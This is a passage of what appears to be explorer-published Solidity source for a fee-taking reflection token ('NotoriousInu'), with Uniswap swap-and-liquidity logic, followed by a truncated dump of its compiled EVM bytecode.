1000; //100% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 fifth = contractTokenBalance / 5; uint256 fourfifth = contractTokenBalance - fifth; swapTokensForEth(fourfifth); uint256 balance = c.balance / 5; sendETHToFee(balance*4); addLiquidity(fifth, balance); emit SwapAndLiquify(fourfifth, balance*4, fifth); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 100; // 10% IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity * currentRate; _rOwned[c] = _rOwned[c] + rLiquidity; _tOwned[c] = _tOwned[c] + tLiquidity; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount * taxFee / 100; uint256 tLiquidity = tAmount * LiquidityFee / 100; uint256 tTransferAmount = tAmount - tFee - tLiquidity; return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rLiquidity = tLiquidity * currentRate; uint256 rTransferAmount = rAmount - rFee - rLiquidity; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function excludeFromReward(address addr) internal { require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router'); require(!_isExcluded[addr], "Account is already excluded"); if(_rOwned[addr] > 0) { _tOwned[addr] = tokenFromReflection(_rOwned[addr]); } _isExcluded[addr] = true; _excluded.push(addr); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b60405161012591906139ef565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906135dc565b6103f6565b60405161016291906139d4565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613b11565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190613589565b610423565b6040516101ca91906139d4565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f591906134ef565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613bbd565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b50610265600480360381019061026091906134ef565b61061e565b6040516102729190613b11565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b49190613906565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df91906139ef565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906135dc565b6108c2565b60405161031c91906139d4565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061361c565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e9190613549565b6110d2565b6040516103b09190613b11565b60405180910390f35b60606040518060400160405280600c81526020017f4e6f746f72696f7573496e750000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613d5f565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613a51565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611cf8565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610704565b610701600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d64565b90505b919050565b610711611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590613a51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4e4f54494e550000000000000000000000000000000000000000000000000000815250905090565b60006108d66108cf611159565b848461132c565b6001905092915050565b6108e8611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90613a51565b60405180910390fd5b60005b8151811015610a065760016004600084848151811061099a57610999613f4a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109fe90613e72565b915050610978565b5050565b6000610a37600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b9050610a4281611dcb565b50565b610a4d611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190613a51565b60405180910390fd5b6012600a9054906101000a900460ff1615610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2190613ad1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610be757600080fd5b505afa158015610bfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1f919061351c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1857600080fd5b505afa158015610d2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d50919061351c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610dce929190613921565b602060405180830381600087803b158015610de857600080fd5b505af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e20919061351c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f26600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b600080610f3161085c565b426040518863ffffffff1660e01b8152600401610f5396959493929190613973565b6060604051808303818588803b158015610f6c57600080fd5b505af1158015610f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fa59190613692565b5050506064601260086101000a81548161ffff021916908361ffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b815260040161104792919061394a565b602060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110999190613665565b5060016012600a6101000a81548160ff02191690831515021790555060016012600c6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613ab1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123890613a31565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161131f9190613b11565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139390613a91565b60405180910390fd5b600081116113df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d690613a71565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114835750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61148c57600080fd5b611494612006565b61149c61085c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561150a57506114da61085c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561152257506012600a9054906101000a900460ff165b15611c1e576012600b9054906101000a900460ff16611754573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115a357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115fd5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561175357600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661169d611159565b73ffffffffffffffffffffffffffffffffffffffff1614806117135750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116fb611159565b73ffffffffffffffffffffffffffffffffffffffff16145b611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613af1565b60405180910390fd5b5b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117ff5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118555750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186e57506012600b9054906101000a900460ff16155b1561192b576064601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff1610156118dd576103e8601260089054906101000a900461ffff1661ffff1666038d7ea4c680006118c69190613d05565b6118d09190613cd4565b8111156118dc57600080fd5b5b6012600081819054906101000a900467ffffffffffffffff168092919061190390613ebb565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119d65750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a4557506012600b9054906101000a900460ff16155b15611ae6576012600c9054906101000a900460ff1615611ae5576000611a8c600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b90506127106001611abe600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661061e565b611ac89190613d05565b611ad29190613cd4565b811115611ae357611ae281612018565b5b505b5b6012600b9054906101000a900460ff16611c1d57600a601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b42576078601260086101000a81548161ffff021916908361ffff1602179055505b6019601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611b8a576096601260086101000a81548161ffff021916908361ffff1602179055505b6023601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611bd35761012c601260086101000a81548161ffff021916908361ffff1602179055505b6028601260009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611c1c576103e8601260086101000a81548161ffff021916908361ffff1602179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611cc55750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cdc57506012600b9054906101000a900460ff165b15611ce657600090505b611cf28484848461212e565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d60573d6000803e3d6000fd5b5050565b6000600e54821115611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da290613a11565b60405180910390fd5b6000611db5612377565b90508083611dc39190613cd4565b915050919050565b6000600267ffffffffffffffff811115611de857611de7613f79565b5b604051908082528060200260200182016040528015611e165781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110611e5057611e4f613f4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110611ec157611ec0613f4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611fd0959493929190613b2c565b600060405180830381600087803b158015611fea57600080fd5b505af1158015611ffe573d6000803e3d6000fd5b505050505050565b6000601081905550600a601181905550565b60016012600b6101000a81548160ff02191690831515021790555060006005826120429190613cd4565b9050600081836120529190613d5f565b905061205d81611dcb565b60006005600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16316120a59190613cd4565b90506120bc6004826120b79190613d05565b611cf8565b6120c6838261239b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561826004836120f59190613d05565b8560405161210593929190613b86565b60405180910390a150505060006012600b6101000a81548160ff02191690831515021790555050565b8061213c5761213b6124d3565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121df5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f4576121ef8484846124e5565b612371565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122975750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122ac576122a7848484612730565b612370565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561234e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123635761235e84848461297b565b61236f565b61236e848484612c54565b5b5b5b50505050565b6000806000612384612e11565b9150915080826123949190613cd4565b9250505090565b6123ea600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611161565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560008061245861085c565b426040518863ffffffff1660e01b815260040161247a96959493929190613973565b6060604051808303818588803b15801561249357600080fd5b505af11580156124a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124cc9190613692565b5050505050565b60006010819055506000601181905550565b6000806000806000806124f7876130c3565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9190613d5f565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125dc9190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a9190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b681613125565b6126c084836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161271d9190613b11565b60405180910390a3505050505050505050565b600080600080600080612742876130c3565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127999190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128279190613c7e565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b59190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061290181613125565b61290b84836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129689190613b11565b60405180910390a3505050505050505050565b60008060008060008061298d876130c3565b95509550955095509550955086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e49190613d5f565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a729190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b009190613c7e565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8e9190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bda81613125565b612be484836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612c419190613b11565b60405180910390a3505050505050505050565b600080600080600080612c66876130c3565b95509550955095509550955085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cbd9190613d5f565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d4b9190613c7e565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9781613125565b612da184836132ea565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612dfe9190613b11565b60405180910390a3505050505050505050565b6000806000600e549050600066038d7ea4c68000905060005b60098054905081101561308357826001600060098481548110612e5057612e4f613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612f3e5750816002600060098481548110612ed657612ed5613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612f5a57600e5466038d7ea4c68000945094505050506130bf565b6001600060098381548110612f7257612f71613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612fe39190613d5f565b92506002600060098381548110612ffd57612ffc613f4a565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261306e9190613d5f565b9150808061307b90613e72565b915050612e2a565b5066038d7ea4c68000600e546130999190613cd4565b8210156130b657600e5466038d7ea4c680009350935050506130bf565b81819350935050505b9091565b60008060008060008060008060006130e08a601054601154613316565b92509250925060008060006130fe8d86866130f9612377565b613382565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061312f612377565b90506000818361313f9190613d05565b90508060016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff